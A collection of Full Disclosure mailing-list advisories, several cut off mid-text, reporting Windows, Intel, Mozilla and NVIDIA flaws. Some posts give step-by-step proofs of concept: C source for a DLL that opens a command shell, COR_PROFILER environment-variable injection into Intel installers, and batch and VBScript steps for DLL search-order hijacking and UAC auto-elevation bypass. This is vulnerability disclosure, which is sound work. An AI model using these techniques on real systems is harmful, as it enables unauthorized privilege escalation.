| curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
| Release-Date: 2017-11-14, security patched: 2019-11-05
| Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps 
telnet tftp
| Features: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGO NTLM SSL

Version 7.55.1 is 34 releases and at least 15 (in words: FIFTEEN)
CVEs behind the current version 7.79.1: see 
<https://curl.se/docs/releases.html> and
<https://curl.se/docs/vulnerabilities.html>

Most obviously Microsoft's processes are so bad that they can't
build a current version and have to ship ROTTEN software instead!

stay tuned, and far away from such poorly maintained crap
Stefan Kanthak


Timeline


2021-07-21 Vulnerability report sent to vendor

2021-07-22 Vendor acknowledged receipt, opened MSRC case 66388

2021-07-26 Vendor confirmed vulnerability

2021-08-05 Vendor announced fix, scheduled for release on 2021-10-12

2021-10-12 NO FIX RELEASED

Instead, the "security" update <https://support.microsoft.com/help/5006672>
ships the vulnerable component built 2019-08-12: see
<https://download.microsoft.com/download/1/2/8/12827989-db1c-4765-b6a7-ae7ecc7e2ba3/5006672.csv>

| curl.exe,7.55.1.0,12-Aug-2019,19:46,"386,048"
| curl.exe,7.55.1.0,12-Aug-2019,20:28,"421,376"
| curl.exe,7.55.1.0,12-Aug-2019,19:46,"386,048"
...
| Windows 10 version 1809 LCU Arm64-based
| File name,File version,Date,Time,File size
| curl.exe,7.55.1.0,12-Aug-2019,19:37,"330,240"
...
| curl.exe,7.55.1.0,12-Aug-2019,19:46,"386,048"
...
| curl.exe,7.55.1.0,12-Aug-2019,20:22,"435,712"

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 77): access without access permission

[Stefan Kanthak]

ted)
implicit READ_CONTROL access permission (and WRITE_DAC too)!

| REM add an ACE with only SYNCHRONIZE to deny the implicit access permissions
| ICACLS.exe directory /Grant *S-1-3-4:(S)
| processed file: directory
| Successfully processed 1 files; Failed processing 0 files
|
| REM (try to) display the DACL
| CACLS.exe directory /S
| C:\Users\Public\directory
|
| Access denied
|
| REM remove the directory
| RMDIR directory

OUCH: although no DELETE permission was granted the directory is gone!

Bug^WVULNERABILITY or feature?
See the vendor statement below!


False claim #2
~~

<https://msdn.microsoft.com/en-us/library/aa379321.aspx> "SACL Access Right"

| The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because
| DACLs do not control access to a SACL.

REALLY?


False claim #3
~~

<https://msdn.microsoft.com/en-us/library/aa379315.aspx>
"Requesting Access Rights to an Object"

| (!) Note
|
| The MAXIMUM_ALLOWED constant cannot be used in an ACE.

REALLY?


Demonstration #3


| CHDIR /D "%PUBLIC%"
| REM create an empty file
| COPY NUL: file
| 1 file(s) copied.
| REM remove all (inherited) ACEs
| ICACLS.exe file /Inheritance:R
| processed file: file
| Successfully processed 1 files; Failed processing 0 files
|
| REM (try to) add ACEs with ACCESS_SYSTEM_SECURITY and MAXIMUM_ALLOWED access 
permissions
| ICACLS.exe file /Deny *S-1-1-0:(AS) /Grant *S-1-1-0:(MA)
| processed file: file
| Successfully processed 1 files; Failed processing 0 files
|
| REM display the DACL
| CACLS.exe file /S
| C:\Users\Public\file "D:PAI"

OOPS: despite the "success" message no ACEs were added!

| REM second try
| ICACLS.exe file /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant 
"%USERNAME%":(F)
| processed file: file
| Successfully processed 1 files; Failed processing 0 files
|
| REM display the DACL
| CACLS.exe file /S
| C:\Users\Public\file 
"D:PAI(D;OW)(A;;FA;;;S-1-5-21-3150931553-3643200234-2488609525-1000)(A;OW)"

OUCH: both (AS) and (MA) create ACEs WITHOUT any access permission!

| REM display the DACL again
| ICACLS.exe file
| file OWNER RIGHTS:(DENY)(S)
|  AMNESIAC\Stefan:(F)
|  OWNER RIGHTS:

OOPS: ICACLS.exe shows (S) "SYNCHRONIZE" access permission despite
  that NO_ACCESS is present!

| REM remove the deny ACE for the owner and the allow ACE for the user,
| REM leaving the allow ACE for the owner
| ICACLS.exe file /Remove:d *S-1-3-4 /Remove:g "%USERNAME%"
| processed file: file
| Successfully processed 1 files; Failed processing 0 files
|
| REM (try to) display the DACL
| CACLS.exe file /S
| C:\Users\Public\file
|
| Access denied

OUCH: the allow ACE with empty access mask REMOVES the owner's implicit
  READ_CONTROL and WRITE_DAC access permissions!

| ERASE file

See above!

JFTR: these demonstrations uncover just the tip of the iceberg!


Vendor statement


| Thank you for your submission. We determined your finding does not meet
| our bar for immediate servicing. For more information, please see the
| Microsoft Security Servicing Criteria for Windows
| (https://aka.ms/windowscriteria).
|
| However, we've marked your finding for future review as an opportunity
| to improve our products. I do not have a timeline for this review and
| will not provide updates moving forward. As no further action is
| required at this time, I am closing this case. You will not receive
| further correspondence regarding this submission.


stay tuned, and far away from defective products!
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- The Microsoft way (part 76): arbitrary code execution WITH elevation of privilege in user-writable directories below %SystemRoot%

[Stefan Kanthak]

n't care about the path/filename of signed executables,
   even for files with detached signatures, although the *.CAT files used
   to distribute detached digital signatures can store the filename!


4. Let's see whether PrintUI.exe follows the guidance given by the MSRC
   (Microsoft Security Response Center) in the almost 7 year old blog post
   <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>.
   the more than 10 year old security advisory
   <https://technet.microsoft.com/en-us/library/2269637.aspx>, or the nearly
   10 year old MSKB articles <https://support.microsoft.com/en-us/kb/2389418>
   and <https://support.microsoft.com/en-us/kb/2533623>: copy ShUnimpl.dll
   as PrintUI.dll next to the copy of PrintUI.exe and execute the latter.

   JFTR: ShUnimpl.dll is the graveyard for obsolete "shell" functions; its
 _DllMainCRTStartup() entry point function returns FALSE to disable
 their use, lets the module loader fail with NTSTATUS 0xC142
 alias STATUS_DLL_INIT_FAILED, and lets LoadLibrary() fail with the
 Win32 error 1114 alias ERROR_DLL_INIT_FAILED

   COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramData%\PrintUI.dll"
   RENAME "%ProgramData%\WRITABLE.LOG" PrintUI.exe
   START "" /WAIT "%ProgramData%\PrintUI.exe"
   CERTUTIL.exe /ERROR %ERRORLEVEL%

   OUCH: (the copy of) PrintUI.exe loads an arbitrary PrintUI.dll from its
 application directory instead of %SystemRoot%\System32\PrintUI.dll

   The Common Weaknesses and Exposures classifies such misbehavior, which
   results in arbitrary code execution (here with escalation of privilege),
   as
   - CWE-426: Untrusted Search Path
 <https://cwe.mitre.org/data/definitions/426.html>
   - CWE-427: Uncontrolled Search Path Element
 <https://cwe.mitre.org/data/definitions/427.html>

   The Common Attack Pattern Enumeration and Classification lists it as
   - CAPEC-471: Search Order Hijacking
 <https://capec.mitre.org/data/definitions/471.html>

   JFTR: (un)fortunately PrintUI.dll is not the only DLL that PrintUI.exe
 loads from an unsafe path, and (un)fortunately PrintUI.exe is not
 the only auto-elevating application which loads DLLs from unsafe
 paths!

   A really big "Hooray!" to Microsoft's sloppy, careless and clueless
   developers as well as their sound asleep quality^Wmiserability assurance!


5. Let's see whether UAC auto-elevation is also possible in at least one
   of the user-writable directories: log on to the UAC-controlled user
   account created during Windows setup, start an UNELEVATED (unprivileged)
   command prompt and run the following command lines:

   SETLOCAL ENABLEDELAYEDEXPANSION
   FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO (
   MKLINK /H "%~?\PrintUI.dll" "%ProgramData%\PrintUI.dll" && (
   START "" /WAIT "%~?\WRITABLE.EXE"
   ECHO !ERRORLEVEL!))

   BINGO: GAME OVER!

   UAC performs auto-elevation at least in the directories
   C:\Windows\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
   and C:\Windows\System32\Tasks_Migrated\; a copy of PrintUI.exe run in
   these directories loads/executes an arbitrary PrintUI.dll placed there
   too, with ADMINISTRATIVE privileges, without UAC prompt.

   JFTR: even without UAC auto-elevation, this beginner's error present in
 PrintUI.exe (really: almost all applications shipped with Windows)
 allows to fool Jane and Joe Average who typically give consent to a
 blue UAC prompt which shows "Certified Publisher: Microsoft Windows".


stay tuned, and far away from Microsoft's eternally vulnerable crap!
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 75): Bypass of SAFER alias Software Restriction Policies NOT FIXED

[Stefan Kanthak]

e directory "C:\Foo\"

2. Run the following (second block of) command lines:

   MKDIR "%SystemRoot% \" && (
   COPY "%COMSPEC%" "%SystemRoot% \Dummy.exe" && (
   START "OOPS!" /WAIT "%SystemRoot% \Dummy.exe"
   ECHO 1>"%SystemRoot% \Dummy.vbs" WScript.Echo "Just a Visual Basic script"
   START "OOPS!" /WAIT "%SystemRoot% \Dummy.vbs"
   RMDIR /Q /S "%SystemRoot% \"))

   An unprivileged user can execute (a copy of) the command processor
   (as well as any other executable) in the directory "C:\Windows \"!

NOTE: the following 2 steps are optional and solely for entertainment!

3. Run the following (third block of) command lines:

   SETLOCAL ENABLEDELAYEDEXPANSION
   MKDIR "%SystemRoot% \" && (
   COPY "%SystemRoot%\System32\PrintUI.exe" "%SystemRoot% \PrintUI.exe" && (
   START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
   "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
   COPY "%SystemRoot%\System32\ShUnimpl.dll" "%SystemRoot% \PrintUI.dll"
   START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
   "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
   RMDIR /Q /S "%SystemRoot% \"))

   Both START commands trigger a BLUE UAC prompt which displays
   "Verified Publisher: Microsoft Windows", i.e. the security theatre
   known as UAC determines "C:\Windows \" to be a TRUSTED directory!

4. Finally log on to the user account created during Windows setup,
   start the command processor (UNELEVATED!) and run just the third
   block of command lines.

   The copy of PrintUI.exe auto-elevates without UAC prompt, then loads
   and executes the copy of ShUnimpl.dll (or any other DLL copied as
   PrintUI.dll into its application directory) with administrative rights!
   Both the missing dialog box "Change printer settings" and the exit
   code 1114 alias ERROR_DLL_INIT_FAILED from the second START command
   indicate that the copy of ShUnimpl.dll was loaded instead of the real
   %SystemRoot%\System32\PrintUI.dll

   The Common Weaknesses and Exposures classifies such misbehavior,
   which results in arbitrary code execution (here with escalation of
   privilege), as
   - CWE-426: Untrusted Search Path
 <https://cwe.mitre.org/data/definitions/426.html>
   - CWE-427: Uncontrolled Search Path Element
 <https://cwe.mitre.org/data/definitions/427.html>

   The Common Attack Pattern Enumeration and Classification lists it as
   - CAPEC-471: Search Order Hijacking
 <https://capec.mitre.org/data/definitions/471.html>


Mitigation:
~~~

Remove the permission to create directories in the root directory of the
system drive for 'Authenticated Users':

ICACLS.exe %SystemDrive%\ /Remove:g *S-1-5-11


stay tuned, and NEVER use Windows in default configuration/installation!
Stefan Kanthak


PS: I reported these 2 bypasses to the MSRC, where case 64652 was opened.
Some days later I received the following reply:

| We were unfortuantely unable to reproduce this issue, however based on
| what you have described:
| A UAC bypass only for Administrators - UAC is not considered a security
| boundary.
| A SRP bypass, which is also not considered a security boundary.
|
| As a result, this does not meet the bar for servicing.
| For this reason I have closed this case.

NOBODY runs any command as 'Administrator' here, but just as the
UNPRIVILEGED and UNELEVATED user created during Windows setup,
which Joe and Jane Average use for their day-to-day work!

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 61): arbitrary code execution WITH escalation of privilege via Intel WiFi drivers

[Stefan Kanthak]

Hi @ll,

the executable installers version 22.30.0 (Latest), published 2/23/2021,
for the "Windows® 10 Wi-Fi Drivers for Intel® Wireless Adapters",
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
and
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>,
available from
<https://downloadcenter.intel.com/download/30208/Windows-10-Wi-Fi-Drivers-for-Intel-Wireless-Adapters>
are (SURPRISE!) vulnerable: they allow arbitrary code execution WITH
local escalation of privilege.


CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


Demonstration:
~~

0. Log on with an arbitrary user account.

1. Save the following source as poc.c in an arbitrary directory:

--- poc.c ---
// Copyright (C) 2004-2021, Stefan Kanthak 

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include 

const STARTUPINFO si = {sizeof(si)};

__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE  hModule,
   DWORD   dwReason,
   CONTEXT *lpContext)
{
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";

PROCESS_INFORMATION pi;
#if 0
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
#endif
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
  CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | 
CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
  NULL, NULL, , ))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

return TRUE;
}
--- EOF ---

2. Start the command prompt of the 32-bit Windows Software Development Kit,
   then run the following command lines to compile poc.c and link it as
   poc.dll:

   CL.exe /Zl /W4 /Ox /GAFy /c poc.c
   LINK.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB 
/NXCOMPAT /OPT:REF /RELEASE /SUBSYSTEM:Windows poc.obj
kernel32.lib

ALTERNATIVE for steps 1 and 2:

2. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it as poc.dll in an arbitrary directory.

   See <https://skanthak.homepage.t-online.de/sentinel.html> for its
   documentation, and
   
<https://insights.sei.cmu.edu/cert/2016/06/bypassing-application-whitelisting.html>
   for an example how to use it.

3. Logon with the user account created during Windows setup.

4. Download
   <https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
   and
   <https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>
   and save them in an arbitrary directory.

5. Start a command prompt (UNELEVATED!) and run the following command lines
   (replace  with the pathname of the directory where you built
   or saved poc.dll):

   SETX.exe COR_ENABLE_PROFILING 1
   SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SETX.exe COR_PROFILER_PATH \poc.dll

   JFTR: this is just one method to set these environment variables without
 the need to elevate!

6. Execute WiFi_22.30.0_Driver32_Win10.exe and WiFi_22.30.0_Driver64_Win10.exe
   per double-click, acknowledge the UAC prompt, then admire the console
   windows showing the output of WHOAMI.exe running elevated.


stay tuned, and far away from Intel's vulnerable crap!
Stefan Kanthak


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- The Microsoft way (part 74): Windows Defender SmartScreen is rather DUMP, it allows denial of service

[Stefan Kanthak]

Hi @ll,

the following is a shortened version of
<https://skanthak.homepage.t-online.de/offender.html#case64021>

With Windows 8, Microsoft introduced Windows Defender SmartScreen as
replacement for the Attachment Manager introduced with Windows XP SP2
(the first release of Windows after they started Trustworthy Computing).

The Attachment Manager adds an Alternate Data Stream named Zone.Identifier
to files downloaded from the Internet or other computers, attachments
stored by mail clients etc. as so-called "Mark of the Web" to indicate
their (untrusted) origin.

With SmartScreen, the "Mark of the Web" allows to perform a denial of
service.

Demonstration:
~~

1. Compile and link the following minimal Win32 program:

--- dummy.c ---
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include 

__declspec(noreturn)
VOID WINAPI wWinMainCRTStartup(VOID)
{
   ExitProcess(MessageBox(HWND_DESKTOP, L"Hello World!", L"Dummy", MB_OK));
}
--- EOF ---

   CL.exe /Zl /W4 /GAFy /c dummy.c
   LINK.exe /Link /Entry:wWinMainCRTStartup /NoDefaultLib /Release 
/SubSystem:Windows dummy.obj kernel32.lib user32.lib

2. Execute dummy.exe per double-click: it displays a message box titled
   "Dummy" with message text "Hello World!"

3. Add a "Mark of the Web" specifying the Internet zone to dummy.exe:
   execute NOTEPAD.exe dummy.exe:Zone.Identifier, answer the question
   whether you want to create a new file with [Yes], type the 2 lines
   between --- ... ---, close the editor and save the changes:

--- dummy.exe:Zone.Identifier ---
[ZoneTransfer]
ZoneId=3
--- EOF ---

4. Execute dummy.exe per double-click: Windows Defender SmartScreen
   displays a warning message titled "Windows protected your PC"
   with message text "Windows Defender SmartScreen prevented an
   unrecognized app from starting, Running this app might put your
   PC at risk. [...]"

   After clicking the button [Run anyway] the program executes and
   displays its message box.

5. Add a "Mark of the Web" specifying a custom zone to dummy.exe:
   execute NOTEPAD.exe dummy.exe:Zone.Identifier, answer the question
   whether you want to create a new file with [Yes], type the 2 lines
   between --- ... ---, close the editor and save the changes:

--- dummy.exe:Zone.Identifier ---
[ZoneTransfer]
ZoneId=1000
--- EOF ---

6. Exexute dummy.exe per double-click: NO REACTION!

The Common Weaknesses and Exposures classifies such misbehavior,
which here results in a denial of service, as
- CWE-20: Improper Input Validation
  <https://cwe.mitre.org/data/definitions/20.html>
- CWE-1284: Improper Validation of Specified Quantity in Input
  <https://cwe.mitre.org/data/definitions/1284.html>
- CWE-1286: Improper Validation of Syntactic Correctness of Input
  <https://cwe.mitre.org/data/definitions/1286.html>
- CWE-1287: Improper Validation of Specified Type of Input
  <https://cwe.mitre.org/data/definitions/1287.html>

The Common Attack Pattern Enumeration and Classification lists it as
- <https://capec.mitre.org/data/definitions/210.html>
  CAPEC-210: Abuse Existing Functionality

stay tuned, and far away from such disfunctional crap
Stefan Kanthak

JFTR: before/without SmartScreen, the Attachment Manager discards
  a "Mark of the Web" with unsupported zones, i.e. ZoneId > 4

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] CVE-2018-3635 revisited: executable installers are vulnerable^WEVIL (case 60): again arbitrary code execution WITH escalation of privilege via Intel Rapid Storage Technology User Interface and Dr

[Stefan Kanthak]

Hi @ll,

more than 2 years ago I disclosed 2 vulnerabilities leading to
local escalation of privilege in the
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver:
see <https://seclists.org/fulldisclosure/2018/Nov/45>
and <https://seclists.org/fulldisclosure/2018/Nov/52>

Intel fixed this vulnerability only in their executable installer.

Some time later Intel rewrote or rebuilt this installer (see
<https://downloadcenter.intel.com/download/29978/Intel-Rapid-Storage-Technology-Driver-Installation-Software-with-Intel-Optane-Memor
y>
for its current version 18.0.1.1138, published 10/15/2020)
and incorporated the second vulnerability.

CVSS 3.0 score: 8.2 High
CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Demonstration:
~~

0. Save the following source as sentinel.c in an arbitrary directory:

--- sentinel.c ---
// Copyright (C) 2004-2021, Stefan Kanthak 

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include 

const STARTUPINFO si = {sizeof(si)};

__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE  hModule,
   DWORD   dwReason,
   CONTEXT *lpContext)
{
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";

PROCESS_INFORMATION pi;

if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
  CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | 
CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
  NULL, NULL, , ))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

return TRUE;
}
--- EOF ---

1. Start the command prompt of the 32-bit Windows Software Development Kit,
   then run the following command lines to compile sentinel.c and link it
   as sentinel.dll:

   cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c
   link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB 
/NXCOMPAT /RELEASE /SUBSYSTEM:Windows sentinel.obj
kernel32.lib

ALTERNATIVE for steps 0 and 1:

1. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it in an arbitrary directory.

2. Logon with the user account created during Windows setup.

3. Start a command prompt (unelevated!) and run the following command lines
   (replace  with the pathname of the directory where you built
   or saved sentinel.dll):

   SETX.exe COR_ENABLE_PROFILING 1
   SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SETX.exe COR_PROFILER_PATH \sentinel.dll

   JFTR: this is just one method to set these environment variables without
 the need to elevate!

4. Download <https://downloadmirror.intel.com/29978/eng/SetupRST.exe> and
   save it in an arbitrary directory.

5. Execute SetupRST.exe per double-click, acknowledge the UAC prompt, then
   admire the console windows showing the output of WHOAMI.exe running
   elevated.

stay tuned, and FAR AWAY from vulnerable crap built by Intel
Stefan Kanthak


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 73): ignorance (of security advisories) is bliss!

[Stefan Kanthak]

Hi @ll,

<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>
(published by some "Microsoft Security Response Center") as well as
MSDN <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
TechNet <https://technet.microsoft.com/en-us/library/2269637.aspx> alias
MSKB <https://support.microsoft.com/en-us/kb/2269637>,
<https://support.microsoft.com/en-us/kb/2389418> and
<https://support.microsoft.com/en-us/kb/2533623> tell developers over
and over again how to load libraries safely.


But do Microsoft's developers care and follow suit?
NO, THEY DON'T: ignorance is bliss!

JFTR: CWE lists <https://cwe.mitre.org/data/definitions/426.html> and
  <https://cwe.mitre.org/data/definitions/427.html>, while CAPEC
  lists <https://capec.mitre.org/data/definitions/471.html>


Proof to demonstrate the vulnerability in a bunch of system DLLs


1. Save the following source as capec-471.c in an arbitrary, preferable
   empty directory:

--- capec-471.c ---
// Copyleft (C) 2004-2021 Stefan Kanthak, 

#include 

__declspec(noreturn)
VOID WINAPI wWinMainCRTStartup(VOID)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | 
COINIT_DISABLE_OLE1DDE);

if (hr == S_OK)
hr = ShellExecuteW(NULL, NULL, L"..", NULL, NULL, SW_SHOWNORMAL);

CoUninitialize();
ExitProcess(hr);
}
--- EOF ---

   NOTE: the 4 functions used reside in the "known DLLs" kernel32.dll,
 ole32.dll and shell32.dll, the application and its (transitive
 closure of) load-time dependencies can therefore assumed to be
 safe.

2. Compile capec-471.c and link capec-471.exe in the native bitness of
   the installed system:

   CL.exe /Zl /W4 /Ox /GAFy /c capec-471.c
   LINK.exe /ENTRY:wWinMainCRTStartup /NODEFAULTLIB /RELEASE /SUBSYSTEM:Windows 
capec-471.obj kernel32.lib ole32.lib shell32.lib


Now examine the behaviour of the system DLLs loaded by this minimal
application.


Alternative A:

3.a Save the following VBScript as capec-471.vbs in the same directory:

--- capec-471.vbs ---
' Copyright (C) 2004-2021 Stefan Kanthak, 

Option Explicit

Const strCommandLine = "C:\Windows\System32\Cmd.exe /D /K For %? In (*.acm *.ax 
*.cpl *.dll *.drv *.ocx WBEM\*.dll) Do @MkLink /H
C:\Windows\Temp\%~nx? %?"
Const strCurrentDirectory = "C:\Windows\System32"

With GetObject("WinMgmts:{impersonationLevel=Impersonate, (Backup, 
Restore)}!\\.\Root\CIMv2")
Dim objProcessStartup
Set objProcessStartup = .Get("Win32_ProcessStartup").SpawnInstance_
With objProcessStartup
'   .CreateFlags = 8 ' Detached_Process
'   .EnvironmentVariables = Array(...)
.ErrorMode = 2   ' Fail_Critical_Errors
.FillAttribute = 240 ' Black on White
.PriorityClass = 32  ' Normal
.ShowWindow = 1  ' SW_NORMAL
.Title = vbNull
.WinstationDesktop = vbNull
'   .X = 0
.XCountChars = 80
'   .XSize = 640
'   .Y = 240
.YCountChars = 50
'   .YSize = 480
End With

Dim intReturn, intProcessID
intReturn = .Get("Win32_Process").Create(strCommandLine, 
strCurrentDirectory, objProcessStartup, intProcessID)
If intReturn <> 0 Then
WScript.Echo "Error " & intReturn
Else
WScript.Echo "Process " & intProcessID & " created"
End If
End With

Const strKey = 
"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\"

With WScript.CreateObject("WScript.Shell")
.RegWrite strKey & "AuthentiCodeEnabled", 0, "REG_DWORD"
.RegWrite strKey & "DefaultLevel", , "REG_DWORD"
'   .RegWrite strKey & "ExecutableTypes", vbNull, "REG_MULTI_SZ"
'   .RegWrite strKey & "Levels", , "REG_DWORD"
.RegWrite strKey & "LogFileName", "C:\Windows\System32\LogFiles\SAFER.log", 
"REG_SZ"
.RegWrite strKey & "PolicyScope", 0, "REG_DWORD"
.RegWrite strKey & "TransparentEnabled", 2, "REG_DWORD"
End With
--- EOF ---

4.a Run the VBScript capec-471.vbs elevated: it creates hardlinks of
all system DLLs in the current (working) directory where you built
capec-471.exe and configures SAFER to log loading of applications
and DLLs to "C:\Windows\System32\LogFiles\SAFER.log"

5.a Execute capec-471.exe, then run the following command lines to list
all DLLs loaded from the "application directory" respectively from
outside the "system directory" %SystemRoot%\System32:

.\capec-471.exe
FIND.exe /I "%CD%\" "C:\Windows\System32\LogFiles\SAFER.log"
FIND.exe /I /V "%SystemRoot%\System32\&q

[FD] Unholy CRAP: Moziila's executable installers

[Stefan Kanthak]

   Ouch: NSIS too uses the "Temp" directory to create a subdirectory
 and extract executable files it tries to load later, but
 fails to create them with proper permissions!

9. Finally close the bogus error message box and run the following
   command line to remove the NTFS ACE added in step 4:

   ICACLS.exe "%TMP%" /Remove:d *S-1-1-0

stay tuned, and far away from executable installers as well as crap from 
Mozilla, NSIS and 7-Zip
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsof way (part 72): "compatibility" trumps security

[Stefan Kanthak]

Hi @ll,

the following is a shortened version of
<https://skanthak.homepage.t-online.de/tempest.html>

With Windows 10 20H1, Microsoft moved the function to install and update
device drivers available online, i.e. on Windows Update, from Device Manager
to Windows Update.

Device Manager runs under arbitrary "Administrator" accounts: device driver
installation started from its GUI (MMC.exe DevMgmt.msc) or CLI (PnPUtil.exe,
DrvInst.exe, ...) is performed synchronous and runs under the "Administrator"
account too.
Administrator (and user) accounts have a PRIVATE TMP directory, located in
their user profile under the path %USERPROFILE%\AppData\Local\Temp\, which
is NOT accessible from other (unprivileged) users accounts.

JFTR: in standard installations of Windows, with a UAC-controlled
  "Administrator" account, the vulnerability reported here allows an
  UAC-bypass.

Windows Update on the other hand uses a client/server model: device driver
installation started from its GUI is handed off to the server process which
runs under the "LocalSystem" alias "SYSTEM" account.
This high privileged account but uses the SHARED TMP directory
%SystemRoot%\Temp\, which is writable from UNPRIVILEGED user accounts.

Quite some device drivers (not just those available on Windows Update)
contain secondary components (so-called satellites) with own/independent
(executable) installers which are executed in the course of the device
driver installation.
Many, if not most of these installers are self-extractors which use the
process' TMP directory to unpack files and even execute them there.

The resulting well-known weaknesses are classified as
- CWE-377: Insecure Temporary File
  <https://cwe.mitre.org/data/definitions/377.html>
- CWE-379: Creation of Temporary File in Directory with Incorrect Permissions
  <https://cwe.mitre.org/data/definitions/379.html>

In the latter case, the TMP directory becomes the "application directory"
for the respective process and may become its "current working directory"
too.
The "application directory" is the first directory in the DLL and process
search path, and the "current working directory" is the first directory
in the command processor's search path.
See <https://msdn.microsoft.com/en-us/library/ms684175.aspx>,
<https://msdn.microsoft.com/en-us/library/ms682425.aspx> and
<https://msdn.microsoft.com/en-us/library/ms684269.aspx> for reference.

The resulting well-known weaknesses are classified as
- CWE-426: Untrusted Search Path
  <https://cwe.mitre.org/data/definitions/426.html>
- CWE-427: Uncontrolled Search Path Element
  <https://cwe.mitre.org/data/definitions/427.html>,
while the well-known attack is classified as
- CAPEC-471: Search Order Hijacking
  <https://capec.mitre.org/data/definitions/471.html>

Several device drivers for NVIDIA graphics cards available on Windows
Update, for example
<https://www.catalog.update.microsoft.com/ScopedViewInline.aspx?updateid=03e795cf-1ebc-4d35-9c28-080f89f6b922>,
write a vulnerable NvStInst.exe to %SystemRoot%\Temp and execute it there;
NvStInst.exe loads at least ShFolder.dll from its "application directory"
instead from Windows' "system directory" %SystemRoot%\System32

JFTR: Microsoft wrote plenty of guidance, for example
  <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>,
  <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
  <https://technet.microsoft.com/en-us/library/2269637.aspx>,
  <https://support.microsoft.com/en-us/kb/2389418>,
  <https://support.microsoft.com/en-us/kb/2533623>, but neither
  NVIDIA nor their own WHQL-certification follow suit!

Since unprivileged users can create %SystemRoot%\Temp\ShFolder.dll and
%SystemRoot%\Temp\NvStInst.exe runs under the SYSTEM account this
vulnerability results in escalation of privilege: GAME OVER!

stay tuned, and far away from executable installers
Stefan Kanthak

PS: the response from NVIDIA was: driver is end-of-life

PPS: the response from Microsoft was:

| We're experimenting with ways to mitigate this issue in future
| versions of Windows (https://aka.ms/flighthub). Unfortunately,
| these mitigations are infeasible on existing Windows versions
